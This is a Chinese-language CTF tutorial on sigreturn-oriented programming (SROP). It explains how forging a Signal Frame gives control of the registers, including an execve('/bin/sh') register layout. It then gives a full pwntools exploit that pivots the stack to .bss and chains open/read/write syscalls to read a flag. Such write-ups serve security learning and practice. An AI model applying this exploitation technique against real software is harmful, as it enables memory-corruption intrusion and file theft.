高级ROP之SROP 一、知识储备 1. signal 机制
这里基础知识就搬运ctfwiki上的了。
signal 机制是类 unix 系统中进程之间相互传递信息的一种方法。一般,我们也称其为软中断信号,或者软中断。比如说,进程之间可以通过系统调用 kill 来发送软中断信号。一般来说,信号机制常见的步骤如下图所示: 基本步骤如下:
内核向某个进程发送signal 信号,该进程会被暂时挂起 ,进入内核态。
内核会为该进程保存相应的上下文,主要是将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址。 此时栈的结构如下图所示,我们称 ucontext 以及 siginfo 这一段为 Signal Frame。需要注意的是,这一部分是在用户进程的地址空间的。 之后会跳转到注册过的 signal handler 中处理相应的 signal。因此,当 signal handler 执行完之后,就会执行 sigreturn 代码。
signal handler 返回后,**内核为执行 sigreturn 系统调用,为该进程 恢复之前保存的上下文,其中包括将所有压入的寄存器,重新 pop 回对应的寄存器,最后恢复进程的执行。**其中,32 位的 sigreturn 的调用号为 119(0x77),64 位的系统调用号为 15(0xf)。
简单来说就是:先保存各个寄存器中的值(Signal Frame),然后挂起用户进程,然后执行信号处理函数,处理完之后恢复栈和各个寄存器让后继续执行用户进程。
2.漏洞利用 可以注意到:Signal Frame是保存在用户空间上的,对用户来说是可读可写的 ,而且内核与信号处理程序没有直接关联 ,它并不会去记录每个 signal 所对应的 Signal Frame,所以当执行 sigreturn 系统调用时,此时的 Signal Frame 并不一定是之前内核为用户进程保存的 Signal Frame。也就是说,我们可以通过伪造 Signal Frame来控制各个寄存器的值 以此来达到攻击的目的。 比如说:
1 2 3 4 5 rax = 0x3B(execve) rdi='/bin/sh\00' rsi=0x0 rdx=0x0 rip=syscall
这样就可以成功getshell。
Signal Frame看起来十分庞大,但是使用pwntools可以快捷构造我们所需要的Signal Frame
二、例题分析
附件放在文末
拿到题还是先检查一下保护信息,然后运行一下看看。 ida分析main()rt_sigreturn() 禁用了execve和execveat这两个系统调用,意味着我们很难getshell,所以使用ORW的方式来读取flag。这道题还有现成的sigreturn。 要实现ORW,我们就要构造SROP链。我们先通过一个sigreturn把栈迁移到已知段,这个段要足够长,足以放下Signal Frame,所以.bss段就是一个很好的选择。 首先我们做一些准备工作,通过ida静态调试,我们拿到了 sigreturn 的地址:sigreturn_sddr = 0x401296、syscall_ret的地址syscall_addr = 0x40129D和bss段的起始地址:0x404060,为了防止我们的操作更改了bss段比较重要的一些进程的数据,我们给这个地址加上一段偏移再使用:bss_addr = 0x404060 + 0x300。 然后我们执行栈迁移和第二次read操作,通过IDA的数据可知,我们们需要填充0x28个字节的垃圾数据,所以payload1如下:
1 2 3 4 5 6 7 8 9 10 11 frame1 = SigreturnFrame() frame1.rip = syscall_addr frame1.rbp = bss_addr + 0x8 frame1.rsp = bss_addr + 0x8 frame1.rax = constants.SYS_read frame1.rdi = 0 frame1.rsi = bss_addr frame1.rdx = 0x400 payload1 = b'A' *padding + p64(sigreturn_sddr) + (bytes (frame1)) p.sendline(payload1)
部分解释:bss_addr + 0x8是因为后面我们需要传入‘flag\x00\x00\x00\x00’ 下一步我们要进行orw操作 先构造open部分:
1 2 3 4 5 6 7 8 9 10 frame2 = SigreturnFrame() frame2.rip = syscall_addr frame2.rbp = bss_addr + 0x8 + 0x100 frame2.rsp = bss_addr + 0x8 + 0x100 frame2.rax = constants.SYS_open frame2.rdi = bss_addr frame2.rsi = 0x0 frame2.rdx = 0x0 payload2 = b'flag' + b'\x00' *0x4 + p64(sigreturn_sddr) + (bytes (frame2))
然后是read部分:
1 2 3 4 5 6 7 8 9 frame3 = SigreturnFrame() frame3.rip = syscall_addr frame3.rbp = bss_addr + 0x8 + 0x208 frame3.rsp = bss_addr + 0x8 + 0x200 frame3.rax = constants.SYS_read frame3.rdi = 0x3 frame3.rsi = bss_addr frame3.rdx = 0x30 payload3 = p64(sigreturn_sddr) + (bytes (frame3))
最后是write部分:
1 2 3 4 5 6 7 frame4 = SigreturnFrame() frame4.rip = syscall_addr frame4.rax = constants.SYS_write frame4.rdi = 0x1 frame4.rsi = bss_addr frame4.rdx = 0x30 payload4 = p64(sigreturn_sddr) + (bytes (frame4))
所以总的payload如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 frame2 = SigreturnFrame() frame2.rip = syscall_addr frame2.rbp = bss_addr + 0x8 + 0x100 frame2.rsp = bss_addr + 0x8 + 0x100 frame2.rax = constants.SYS_open frame2.rdi = bss_addr frame2.rsi = 0x0 frame2.rdx = 0x0 payload2 = b'flag' + b'\x00' *0x4 + p64(sigreturn_sddr) + (bytes (frame2)) frame3 = SigreturnFrame() frame3.rip = syscall_addr frame3.rbp = bss_addr + 0x8 + 0x208 frame3.rsp = bss_addr + 0x8 + 0x200 frame3.rax = constants.SYS_read frame3.rdi = 0x3 frame3.rsi = bss_addr frame3.rdx = 0x30 payload3 = p64(sigreturn_sddr) + (bytes (frame3)) frame4 = SigreturnFrame() frame4.rip = syscall_addr frame4.rax = constants.SYS_write frame4.rdi = 0x1 frame4.rsi = bss_addr frame4.rdx = 0x30 payload4 = p64(sigreturn_sddr) + (bytes (frame4)) pause() p.send(payload2 + payload3 + payload4)
所以总的exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 from pwn import *if __name__ == "__main__" : context.log_level = 'debug' context.arch = 'amd64' context.os = 'linux' libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) elf=ELF('./srop' ) p = process('./srop' ) padding = 0x28 bss_addr = 0x404060 + 0x300 sigreturn_sddr = 0x401296 syscall_addr = 0x40129D frame1 = SigreturnFrame() frame1.rip = syscall_addr frame1.rbp = bss_addr + 0x8 frame1.rsp = bss_addr + 0x8 frame1.rax = constants.SYS_read frame1.rdi = 0 frame1.rsi = bss_addr frame1.rdx = 0x400 payload1 = b'A' *padding + p64(sigreturn_sddr) + (bytes (frame1)) p.sendline(payload1) frame2 = SigreturnFrame() frame2.rip = syscall_addr frame2.rbp = bss_addr + 0x8 + 0x100 frame2.rsp = bss_addr + 0x8 + 0x100 frame2.rax = constants.SYS_open frame2.rdi = bss_addr frame2.rsi = 0x0 frame2.rdx = 0x0 payload2 = b'flag' + b'\x00' *0x4 + p64(sigreturn_sddr) + (bytes (frame2)) frame3 = SigreturnFrame() frame3.rip = syscall_addr frame3.rbp = bss_addr + 0x8 + 0x208 frame3.rsp = bss_addr + 0x8 + 0x200 frame3.rax = constants.SYS_read frame3.rdi = 0x3 frame3.rsi = bss_addr frame3.rdx = 0x30 payload3 = p64(sigreturn_sddr) + (bytes (frame3)) frame4 = SigreturnFrame() frame4.rip = syscall_addr frame4.rax = constants.SYS_write frame4.rdi = 0x1 frame4.rsi = bss_addr frame4.rdx = 0x30 payload4 = p64(sigreturn_sddr) + (bytes (frame4)) pause() p.send(payload2 + payload3 + payload4) p.interactive()
附件